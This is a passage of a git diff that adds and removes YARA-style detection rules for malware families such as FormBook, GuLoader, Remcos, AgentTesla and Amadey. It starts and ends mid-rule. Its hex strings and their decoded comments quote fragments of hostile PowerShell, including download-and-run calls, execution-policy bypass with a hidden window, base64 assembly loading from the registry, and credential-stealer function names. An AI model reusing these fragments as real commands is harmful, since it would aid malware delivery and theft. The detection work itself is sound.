00 65 00 61 00 64 00 65 00 72 00 73 00 5b 00 22 00 63 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 2d 00 74 00 79 00 70 00 65 00 22 00 5d 00 2e 00 73 00 74 00 61 00 72 00 74 00 73 00 77 00 69 00 74 00 68 00 28 00 22 00 74 00 65 00 78 00 74 00 2f 00 68 00 74 00 6d 00 6c 00 22 00 29 00 20 00 2d 00 61 00 6e 00 64 00 20 00 24 00 63 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 2e 00 73 00 74 00 61 00 72 00 74 00 73 00 77 00 69 00 74 00 68 00 28 00 22 00 23 00 22 00 29 00 29 00 29 00 20 00 7b 00 20 00 74 00 68 00 72 00 6f 00 77 00 20 00 7d 00 } //10 if (-not ($response.headers["content-type"].startswith("text/html") -and $content.startswith("#"))) { throw } + $a_00_2 = {24 00 61 00 70 00 69 00 73 00 20 00 3d 00 20 00 40 00 28 00 24 00 61 00 70 00 69 00 73 00 20 00 7c 00 20 00 73 00 65 00 6c 00 65 00 63 00 74 00 2d 00 6f 00 62 00 6a 00 65 00 63 00 74 00 20 00 2d 00 73 00 6b 00 69 00 70 00 20 00 31 00 29 00 20 00 2b 00 20 00 24 00 61 00 70 00 69 00 } //10 $apis = @($apis | select-object -skip 1) + $api + condition: + ((#a_00_0 & 1)*10+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10) >=20 + +} \ No newline at end of file diff --git a/Trojan/PowerShell/FormBook/Trojan_PowerShell_FormBook_RPA_MTB.yar b/Trojan/PowerShell/FormBook/Trojan_PowerShell_FormBook_RPA_MTB.yar new file mode 100644 index 0000000000..2b84a404a9 --- /dev/null +++ b/Trojan/PowerShell/FormBook/Trojan_PowerShell_FormBook_RPA_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_PowerShell_FormBook_RPA_MTB{ + meta: + description = "Trojan:PowerShell/FormBook.RPA!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,65 00 65 00 04 00 00 " + + strings : + $a_02_0 = {63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 63 00 20 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 20 00 25 00 74 00 6d 00 70 00 25 00 5c 00 [0-10] 2e 00 69 00 6e 00 69 00 2c 00 69 00 65 00 78 00 } //100 + $a_02_1 = {63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 63 00 20 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 20 00 25 00 74 00 6d 00 70 00 25 00 5c 00 [0-10] 2e 00 6c 00 6f 00 67 00 2c 00 69 00 65 00 78 00 } //100 + $a_02_2 = {63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 63 00 20 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 20 00 25 00 74 00 6d 00 70 00 25 00 5c 00 [0-10] 2e 00 70 00 64 00 66 00 2c 00 69 00 65 00 78 00 } //100 + $a_00_3 = {61 00 5c 00 78 00 31 00 32 00 5c 00 78 00 30 00 63 00 63 00 } //1 a\x12\x0cc + condition: + ((#a_02_0 & 1)*100+(#a_02_1 & 1)*100+(#a_02_2 & 1)*100+(#a_00_3 & 1)*1) >=101 + +} \ No newline at end of file diff --git a/Trojan/PowerShell/GuLoader/Trojan_PowerShell_GuLoader_RPS_MTB.yar b/Trojan/PowerShell/GuLoader/Trojan_PowerShell_GuLoader_RPS_MTB.yar new file mode 100644 index 0000000000..face37b709 --- /dev/null +++ b/Trojan/PowerShell/GuLoader/Trojan_PowerShell_GuLoader_RPS_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_PowerShell_GuLoader_RPS_MTB{ + meta: + description = "Trojan:PowerShell/GuLoader.RPS!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,15 00 15 00 04 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 } //1 powershell.exe + $a_02_1 = {3d 00 67 00 63 00 20 00 2d 00 72 00 61 00 77 00 20 00 27 00 63 00 3a 00 5c 00 75 00 73 00 65 00 72 00 73 00 5c 00 [0-20] 5c 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 5c 00 } //10 + $a_00_2 = {3d 00 67 00 63 00 20 00 2d 00 72 00 61 00 77 00 20 00 27 00 25 00 75 00 73 00 65 00 72 00 70 00 72 00 6f 00 66 00 69 00 6c 00 65 00 25 00 5c 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 5c 00 } //10 =gc -raw '%userprofile%\appdata\ + $a_02_3 = {2e 00 73 00 75 00 62 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 [0-0c] 2c 00 33 00 29 00 3b 00 2e 00 24 00 } //10 + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*10+(#a_00_2 & 1)*10+(#a_02_3 & 1)*10) >=21 + +} \ No newline at end of file diff --git a/Trojan/PowerShell/GuLoader/Trojan_PowerShell_GuLoader_RPT_MTB.yar b/Trojan/PowerShell/GuLoader/Trojan_PowerShell_GuLoader_RPT_MTB.yar new file mode 100644 index 0000000000..7846a9eeaf --- /dev/null +++ b/Trojan/PowerShell/GuLoader/Trojan_PowerShell_GuLoader_RPT_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_PowerShell_GuLoader_RPT_MTB{ + meta: + description = "Trojan:PowerShell/GuLoader.RPT!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,15 00 15 00 05 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 } //1 powershell.exe + $a_00_1 = {70 00 77 00 73 00 68 00 2e 00 65 00 78 00 65 00 } //1 pwsh.exe + $a_02_2 = {63 00 61 00 74 00 20 00 2d 00 72 00 61 00 77 00 20 00 27 00 63 00 3a 00 5c 00 75 00 73 00 65 00 72 00 73 00 5c 00 [0-20] 5c 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 5c 00 } //10 + $a_00_3 = {63 00 61 00 74 00 20 00 2d 00 72 00 61 00 77 00 20 00 27 00 25 00 6c 00 6f 00 63 00 61 00 6c 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 25 00 5c 00 } //10 cat -raw '%localappdata%\ + $a_02_4 = {2e 00 73 00 75 00 62 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 [0-0c] 2c 00 33 00 29 00 3b 00 2e 00 24 00 [0-28] 28 00 24 00 [0-28] 29 00 } //10 + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_02_2 & 1)*10+(#a_00_3 & 1)*10+(#a_02_4 & 1)*10) >=21 + +} \ No newline at end of file diff --git a/Trojan/PowerShell/Minerva/Trojan_PowerShell_Minerva_BE_MTB.yar b/Trojan/PowerShell/Minerva/Trojan_PowerShell_Minerva_BE_MTB.yar deleted file mode 100644 index 16b7d60b08..0000000000 --- a/Trojan/PowerShell/Minerva/Trojan_PowerShell_Minerva_BE_MTB.yar +++ /dev/null @@ -1,15 +0,0 @@ - -rule Trojan_PowerShell_Minerva_BE_MTB{ - meta: - description = "Trojan:PowerShell/Minerva.BE!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 00 " - - strings : - $a_00_0 = {3d 00 20 00 27 00 73 00 69 00 6c 00 65 00 6e 00 74 00 6c 00 79 00 63 00 6f 00 6e 00 74 00 69 00 6e 00 75 00 65 00 27 00 } //1 = 'silentlycontinue' - $a_00_1 = {2e 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 46 00 69 00 6c 00 65 00 28 00 27 00 68 00 74 00 74 00 70 00 } //1 .DownloadFile('http - $a_00_2 = {2e 00 65 00 78 00 65 00 27 00 2c 00 20 00 27 00 63 00 3a 00 } //1 .exe', 'c: - $a_00_3 = {73 00 54 00 61 00 72 00 74 00 2d 00 70 00 52 00 6f 00 43 00 45 00 73 00 73 00 20 00 27 00 63 00 3a 00 } //1 sTart-pRoCEss 'c: - $a_00_4 = {49 00 6e 00 76 00 6f 00 69 00 63 00 65 00 2e 00 65 00 58 00 45 00 } //1 Invoice.eXE - condition: - ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=5 - -} \ No newline at end of file diff --git a/Trojan/PowerShell/Powdow/Trojan_PowerShell_Powdow_RK_MTB.yar b/Trojan/PowerShell/Powdow/Trojan_PowerShell_Powdow_RK_MTB.yar new file mode 100644 index 0000000000..99f0089f4f --- /dev/null +++ b/Trojan/PowerShell/Powdow/Trojan_PowerShell_Powdow_RK_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_PowerShell_Powdow_RK_MTB{ + meta: + description = "Trojan:PowerShell/Powdow.RK!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,0c 00 0c 00 04 00 00 " + + strings : + $a_00_0 = {50 00 6f 00 77 00 65 00 72 00 53 00 68 00 65 00 6c 00 6c 00 } //1 PowerShell + $a_00_1 = {2d 00 45 00 6e 00 63 00 6f 00 64 00 65 00 64 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 } //1 -EncodedCommand + $a_00_2 = {2d 00 77 00 20 00 68 00 20 00 2d 00 65 00 } //1 -w h -e + $a_00_3 = {61 00 51 00 42 00 6c 00 41 00 48 00 67 00 41 00 4b 00 41 00 42 00 70 00 41 00 48 00 63 00 41 00 63 00 67 00 41 00 67 00 41 00 43 00 30 00 41 00 56 00 51 00 42 00 79 00 41 00 47 00 6b 00 41 00 49 00 41 00 41 00 6e 00 41 00 47 00 67 00 41 00 64 00 41 00 42 00 30 00 41 00 48 00 41 00 41 00 } //10 aQBlAHgAKABpAHcAcgAgAC0AVQByAGkAIAAnAGgAdAB0AHAA + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*10) >=12 + +} \ No newline at end of file diff --git a/Trojan/PowerShell/ROKRat/Trojan_PowerShell_ROKRat_RPA_MTB.yar b/Trojan/PowerShell/ROKRat/Trojan_PowerShell_ROKRat_RPA_MTB.yar new file mode 100644 index 0000000000..836c921d8a --- /dev/null +++ b/Trojan/PowerShell/ROKRat/Trojan_PowerShell_ROKRat_RPA_MTB.yar @@ -0,0 +1,19 @@ + +rule Trojan_PowerShell_ROKRat_RPA_MTB{ + meta: + description = "Trojan:PowerShell/ROKRat.RPA!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,fffffff3 00 fffffff3 00 09 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 } //10 powershell.exe + $a_00_1 = {2d 00 52 00 65 00 63 00 75 00 72 00 73 00 65 00 20 00 2a 00 2e 00 2a 00 20 00 2d 00 46 00 69 00 6c 00 65 00 20 00 7c 00 20 00 77 00 68 00 65 00 72 00 65 00 20 00 7b 00 24 00 5f 00 2e 00 65 00 78 00 74 00 65 00 6e 00 73 00 69 00 6f 00 6e 00 20 00 2d 00 69 00 6e 00 20 00 24 00 } //100 -Recurse *.* -File | where {$_.extension -in $ + $a_00_2 = {7c 00 20 00 77 00 68 00 65 00 72 00 65 00 2d 00 6f 00 62 00 6a 00 65 00 63 00 74 00 20 00 7b 00 24 00 5f 00 2e 00 6c 00 65 00 6e 00 67 00 74 00 68 00 20 00 2d 00 65 00 71 00 20 00 30 00 78 00 } //10 | where-object {$_.length -eq 0x + $a_00_3 = {4e 00 65 00 77 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 20 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 49 00 4f 00 2e 00 46 00 69 00 6c 00 65 00 53 00 74 00 72 00 65 00 61 00 6d 00 28 00 24 00 } //10 New-Object System.IO.FileStream($ + $a_00_4 = {5b 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 49 00 4f 00 2e 00 46 00 69 00 6c 00 65 00 4d 00 6f 00 64 00 65 00 5d 00 3a 00 3a 00 4f 00 70 00 65 00 6e 00 2c 00 20 00 5b 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 49 00 4f 00 2e 00 46 00 69 00 6c 00 65 00 41 00 63 00 63 00 65 00 73 00 73 00 5d 00 3a 00 3a 00 52 00 65 00 61 00 64 00 29 00 3b 00 24 00 6c 00 6e 00 6b 00 46 00 69 00 6c 00 65 00 2e 00 53 00 65 00 65 00 6b 00 28 00 30 00 78 00 } //100 [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);$lnkFile.Seek(0x + $a_00_5 = {5b 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 49 00 4f 00 2e 00 53 00 65 00 65 00 6b 00 4f 00 72 00 69 00 67 00 69 00 6e 00 5d 00 3a 00 3a 00 42 00 65 00 67 00 69 00 6e 00 29 00 } //10 [System.IO.SeekOrigin]::Begin) + $a_00_6 = {2d 00 4d 00 61 00 74 00 63 00 68 00 20 00 27 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 27 00 } //1 -Match 'System32' + $a_00_7 = {2d 00 4d 00 61 00 74 00 63 00 68 00 20 00 27 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 46 00 69 00 6c 00 65 00 73 00 27 00 } //1 -Match 'Program Files' + $a_00_8 = {3d 00 40 00 28 00 27 00 2e 00 6c 00 6e 00 6b 00 27 00 29 00 } //1 =@('.lnk') + condition: + ((#a_00_0 & 1)*10+(#a_00_1 & 1)*100+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10+(#a_00_4 & 1)*100+(#a_00_5 & 1)*10+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1) >=243 + +} \ No newline at end of file diff --git a/Trojan/PowerShell/Remcos/Trojan_PowerShell_Remcos_RPA_MTB.yar b/Trojan/PowerShell/Remcos/Trojan_PowerShell_Remcos_RPA_MTB.yar new file mode 100644 index 0000000000..be3dc8b9ae --- /dev/null +++ b/Trojan/PowerShell/Remcos/Trojan_PowerShell_Remcos_RPA_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_PowerShell_Remcos_RPA_MTB{ + meta: + description = "Trojan:PowerShell/Remcos.RPA!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,ffffffca 00 ffffffca 00 04 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 } //1 powershell.exe + $a_00_1 = {2d 00 45 00 78 00 65 00 63 00 75 00 74 00 69 00 6f 00 6e 00 50 00 6f 00 6c 00 69 00 63 00 79 00 20 00 42 00 79 00 70 00 61 00 73 00 73 00 20 00 2d 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 74 00 79 00 6c 00 65 00 20 00 68 00 69 00 64 00 64 00 65 00 6e 00 20 00 2d 00 6e 00 6f 00 65 00 78 00 69 00 74 00 } //1 -ExecutionPolicy Bypass -windowstyle hidden -noexit + $a_00_2 = {5b 00 41 00 70 00 70 00 44 00 6f 00 6d 00 61 00 69 00 6e 00 5d 00 3a 00 3a 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 44 00 6f 00 6d 00 61 00 69 00 6e 00 2e 00 4c 00 6f 00 61 00 64 00 28 00 5b 00 43 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 46 00 72 00 6f 00 6d 00 42 00 61 00 73 00 65 00 36 00 34 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 28 00 2d 00 6a 00 6f 00 69 00 6e 00 20 00 28 00 47 00 65 00 74 00 2d 00 49 00 74 00 65 00 6d 00 50 00 72 00 6f 00 70 00 65 00 72 00 74 00 79 00 20 00 2d 00 4c 00 69 00 74 00 65 00 72 00 61 00 6c 00 50 00 61 00 74 00 68 00 20 00 27 00 48 00 4b 00 43 00 55 00 3a 00 5c 00 53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 } //100 [AppDomain]::CurrentDomain.Load([Convert]::FromBase64String((-join (Get-ItemProperty -LiteralPath 'HKCU:\Software\ + $a_00_3 = {46 00 6f 00 72 00 45 00 61 00 63 00 68 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 20 00 7b 00 24 00 5f 00 5b 00 2d 00 31 00 2e 00 2e 00 2d 00 28 00 24 00 5f 00 2e 00 4c 00 65 00 6e 00 67 00 74 00 68 00 29 00 5d 00 7d 00 29 00 29 00 29 00 3b 00 20 00 5b 00 6c 00 6f 00 6c 00 2e 00 6c 00 6f 00 6c 00 5d 00 3a 00 3a 00 6c 00 6f 00 6c 00 28 00 27 00 } //100 ForEach-Object {$_[-1..-($_.Length)]}))); [lol.lol]::lol(' + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*100+(#a_00_3 & 1)*100) >=202 + +} \ No newline at end of file diff --git a/Trojan/Python/Stealga/Trojan_Python_Stealga_DB_MTB.yar b/Trojan/Python/Stealga/Trojan_Python_Stealga_DB_MTB.yar new file mode 100644 index 0000000000..e790f0ed99 --- /dev/null +++ b/Trojan/Python/Stealga/Trojan_Python_Stealga_DB_MTB.yar @@ -0,0 +1,20 @@ + +rule Trojan_Python_Stealga_DB_MTB{ + meta: + description = "Trojan:Python/Stealga.DB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,37 00 37 00 0a 00 00 " + + strings : + $a_81_0 = {43 6f 6f 6b 69 65 73 50 61 72 73 65 73 } //10 CookiesParses + $a_81_1 = {43 68 72 6f 6d 69 75 6d } //10 Chromium + $a_81_2 = {70 61 73 73 2e 68 74 6d 6c } //10 pass.html + $a_81_3 = {50 43 2e 68 74 6d 6c } //10 PC.html + $a_81_4 = {63 6f 6f 6b 69 65 73 2e 7a 69 70 } //10 cookies.zip + $a_81_5 = {67 65 74 5f 70 61 73 73 77 6f 72 64 73 } //1 get_passwords + $a_81_6 = {67 65 74 5f 63 6f 6f 6b 69 65 73 } //1 get_cookies + $a_81_7 = {67 65 74 5f 77 69 66 69 } //1 get_wifi + $a_81_8 = {67 65 74 5f 6d 61 63 } //1 get_mac + $a_81_9 = {67 65 74 65 6e 76 } //1 getenv + condition: + ((#a_81_0 & 1)*10+(#a_81_1 & 1)*10+(#a_81_2 & 1)*10+(#a_81_3 & 1)*10+(#a_81_4 & 1)*10+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1) >=55 + +} \ No newline at end of file diff --git a/Trojan/Win32/AMSI/Trojan_Win32_AMSI_HardwareBreakPoint_MK.yar b/Trojan/Win32/AMSI/Trojan_Win32_AMSI_HardwareBreakPoint_MK.yar new file mode 100644 index 0000000000..838f324452 --- /dev/null +++ b/Trojan/Win32/AMSI/Trojan_Win32_AMSI_HardwareBreakPoint_MK.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_AMSI_HardwareBreakPoint_MK{ + meta: + description = "Trojan:Win32/AMSI.HardwareBreakPoint.MK,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 00 " + + strings : + $a_01_0 = {41 64 64 56 65 63 74 6f 72 65 64 45 78 63 65 70 74 69 6f 6e 48 61 6e 64 6c 65 72 00 } //1 摁噤捥潴敲䕤捸灥楴湯慈摮敬r + $a_01_1 = {45 58 43 45 50 54 49 4f 4e 5f 42 52 45 41 4b 50 4f 49 4e 54 00 } //1 + $a_01_2 = {47 65 74 50 72 6f 63 41 64 64 72 65 73 73 00 } //1 + $a_01_3 = {53 65 74 54 68 72 65 61 64 43 6f 6e 74 65 78 74 00 } //1 + $a_01_4 = {47 65 74 54 68 72 65 61 64 43 6f 6e 74 65 78 74 00 } //1 + $a_01_5 = {41 4d 53 49 5f 52 45 53 55 4c 54 5f 43 4c 45 41 4e 00 } //1 䵁䥓剟卅䱕彔䱃䅅N + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win32/AgentTesla/Trojan_Win32_AgentTesla_MR_MTB.yar b/Trojan/Win32/AgentTesla/Trojan_Win32_AgentTesla_MR_MTB.yar new file mode 100644 index 0000000000..e207fa877d --- /dev/null +++ b/Trojan/Win32/AgentTesla/Trojan_Win32_AgentTesla_MR_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_AgentTesla_MR_MTB{ + meta: + description = "Trojan:Win32/AgentTesla.MR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 03 00 00 " + + strings : + $a_01_0 = {36 34 36 39 36 44 36 54 36 59 36 5f 36 64 36 6a 36 6f 36 75 36 7a } //15 64696D6T6Y6_6d6j6o6u6z + $a_01_1 = {39 1e 39 25 39 33 39 39 39 3f 39 4a 39 59 39 68 39 6d 39 73 39 78 39 } //5 + $a_03_2 = {31 6f 31 a8 31 b4 31 ba ?? ?? ?? ?? 31 ed 31 f3 31 02 32 44 32 52 32 63 32 } //10 + condition: + ((#a_01_0 & 1)*15+(#a_01_1 & 1)*5+(#a_03_2 & 1)*10) >=30 + +} \ No newline at end of file diff --git a/Trojan/Win32/AgentTesla/Trojan_Win32_AgentTesla_RVG_MTB.yar b/Trojan/Win32/AgentTesla/Trojan_Win32_AgentTesla_RVG_MTB.yar new file mode 100644 index 0000000000..95c1304a4a --- /dev/null +++ b/Trojan/Win32/AgentTesla/Trojan_Win32_AgentTesla_RVG_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_AgentTesla_RVG_MTB{ + meta: + description = "Trojan:Win32/AgentTesla.RVG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 00 " + + strings : + $a_81_0 = {73 6f 79 5c 61 76 69 63 75 6c 61 72 69 6d 6f 72 70 68 61 65 5c 6b 6d 70 65 73 74 6f 72 65 } //1 soy\avicularimorphae\kmpestore + $a_81_1 = {5c 61 61 6e 64 73 61 72 62 65 6a 64 65 72 65 5c 66 69 64 75 73 65 6e } //1 \aandsarbejdere\fidusen + $a_81_2 = {64 69 73 63 6f 6d 6d 6f 64 69 6f 75 73 6c 79 20 66 6f 6e 64 73 61 6b 74 69 65 6e 73 20 74 72 79 6b 73 74 62 6e 69 6e 67 73 } //1 discommodiously fondsaktiens trykstbnings + $a_81_3 = {69 72 6b 65 20 75 74 61 6b 6e 65 6d 6c 69 67 68 65 64 65 6e 20 73 6f 66 61 73 } //1 irke utaknemligheden sofas + $a_81_4 = {68 65 72 6c 69 67 68 65 64 73 76 72 64 69 65 72 6e 65 20 70 61 61 73 65 6a 6c 65 72 } //1 herlighedsvrdierne paasejler + $a_81_5 = {61 70 70 6c 69 61 62 6c 65 20 64 65 63 61 6c 63 69 66 69 65 73 20 62 6c 65 67 66 65 64 74 } //1 appliable decalcifies blegfedt + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/AgentTesla/Trojan_Win32_Agenttesla_ZA_MTB.yar b/Trojan/Win32/AgentTesla/Trojan_Win32_Agenttesla_ZA_MTB.yar new file mode 100644 index 0000000000..dd1d3154c1 --- /dev/null +++ b/Trojan/Win32/AgentTesla/Trojan_Win32_Agenttesla_ZA_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_Agenttesla_ZA_MTB{ + meta: + description = "Trojan:Win32/Agenttesla.ZA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 00 " + + strings : + $a_01_0 = {47 65 74 50 72 69 76 61 74 65 50 72 6f 66 69 6c 65 53 74 72 69 6e 67 } //1 GetPrivateProfileString + $a_01_1 = {67 65 74 5f 4f 53 46 75 6c 6c 4e 61 6d 65 } //1 get_OSFullName + $a_01_2 = {72 65 6d 6f 76 65 5f 4b 65 79 } //1 remove_Key + $a_01_3 = {46 74 70 57 65 62 52 65 71 75 65 73 74 } //1 FtpWebRequest + $a_01_4 = {6c 6f 67 69 6e 73 } //1 logins + $a_01_5 = {31 2e 38 35 20 28 48 61 73 68 2c 20 76 65 72 73 69 6f 6e 20 32 2c 20 6e 61 74 69 76 65 20 62 79 74 65 2d 6f 72 64 65 72 29 } //1 1.85 (Hash, version 2, native byte-order) + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win32/Alevaul/Trojan_Win32_Alevaul_DC_MTB.yar b/Trojan/Win32/Alevaul/Trojan_Win32_Alevaul_DC_MTB.yar new file mode 100644 index 0000000000..ea08f06862 --- /dev/null +++ b/Trojan/Win32/Alevaul/Trojan_Win32_Alevaul_DC_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Alevaul_DC_MTB{ + meta: + description = "Trojan:Win32/Alevaul.DC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 02 00 00 " + + strings : + $a_01_0 = {0f b6 c2 03 c8 81 e1 ff 00 00 00 89 4d fc 8a 44 0e 08 88 44 3e 08 88 54 0e 08 0f b6 4c 3e 08 0f b6 c2 03 c8 81 e1 ff 00 00 80 } //10 + $a_01_1 = {8a 44 31 08 8b 4d 08 32 04 0b 88 01 41 ff 4d 0c 89 4d 08 8b 4d fc } //5 + condition: + ((#a_01_0 & 1)*10+(#a_01_1 & 1)*5) >=15 + +} \ No newline at end of file diff --git a/Trojan/Win32/Allinonekeylogger/Trojan_Win32_Allinonekeylogger_PGAK_MTB.yar b/Trojan/Win32/Allinonekeylogger/Trojan_Win32_Allinonekeylogger_PGAK_MTB.yar new file mode 100644 index 0000000000..504fc1f113 --- /dev/null +++ b/Trojan/Win32/Allinonekeylogger/Trojan_Win32_Allinonekeylogger_PGAK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Allinonekeylogger_PGAK_MTB{ + meta: + description = "Trojan:Win32/Allinonekeylogger.PGAK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {03 c1 33 d2 f7 f6 41 0f b6 82 ?? ?? ?? ?? 03 c3 33 d2 f7 75 fc 8b 45 08 03 de 80 c2 ?? 88 54 08 fe 8b 45 0c 3b cf 7e d8 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Amadey/Trojan_Win32_Amadey_ADZY_MTB.yar b/Trojan/Win32/Amadey/Trojan_Win32_Amadey_ADZY_MTB.yar new file mode 100644 index 0000000000..2dd8e3caea --- /dev/null +++ b/Trojan/Win32/Amadey/Trojan_Win32_Amadey_ADZY_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Amadey_ADZY_MTB{ + meta: + description = "Trojan:Win32/Amadey.ADZY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {56 a3 54 74 46 00 ff 15 ?? ?? ?? ?? 68 f8 23 45 00 56 a3 58 74 46 00 ff 15 ?? ?? ?? ?? 68 0c 24 45 00 56 a3 5c 74 46 00 ff 15 ?? ?? ?? ?? 68 1c 24 45 00 56 a3 60 74 46 00 ff 15 ?? ?? ?? ?? 68 30 24 45 00 56 a3 64 74 46 00 ff 15 ?? ?? ?? ?? 68 44 24 45 00 56 a3 68 74 46 00 ff 15 ?? ?? ?? ?? 68 5c 24 45 00 56 a3 6c 74 46 00 ff 15 ?? ?? ?? ?? 68 70 24 45 00 56 a3 70 74 46 00 ff 15 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Amadey/Trojan_Win32_Amadey_AMD_MTB.yar b/Trojan/Win32/Amadey/Trojan_Win32_Amadey_AMD_MTB.yar index bbe55d39c0..7ea8b151b9 100644 --- a/Trojan/Win32/Amadey/Trojan_Win32_Amadey_AMD_MTB.yar +++ b/Trojan/Win32/Amadey/Trojan_Win32_Amadey_AMD_MTB.yar @@ -31,6 +31,28 @@ rule Trojan_Win32_Amadey_AMD_MTB_3{ } rule Trojan_Win32_Amadey_AMD_MTB_4{ + meta: + description = "Trojan:Win32/Amadey.AMD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {83 ff 10 88 9b e0 80 46 00 8b c3 b9 2c 63 46 00 0f 43 0d 2c 63 46 00 99 f7 fe 8a 04 0a 88 83 f0 81 46 00 43 81 fb } //2 + $a_03_1 = {83 7d 4c 10 8d 45 38 ff 75 48 0f 43 45 38 b9 c0 ?? 46 00 50 e8 ?? ?? ?? ?? 6a 00 6a 00 68 ?? ?? 46 00 68 80 88 40 00 6a 00 6a 00 ff 15 ?? ?? ?? ?? 68 f4 01 00 00 ff d6 8b 55 1c } //1 + condition: + ((#a_01_0 & 1)*2+(#a_03_1 & 1)*1) >=3 + +} +rule Trojan_Win32_Amadey_AMD_MTB_5{ + meta: + description = "Trojan:Win32/Amadey.AMD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_03_0 = {6a 04 8d 47 34 50 8b 44 24 24 8b 80 a4 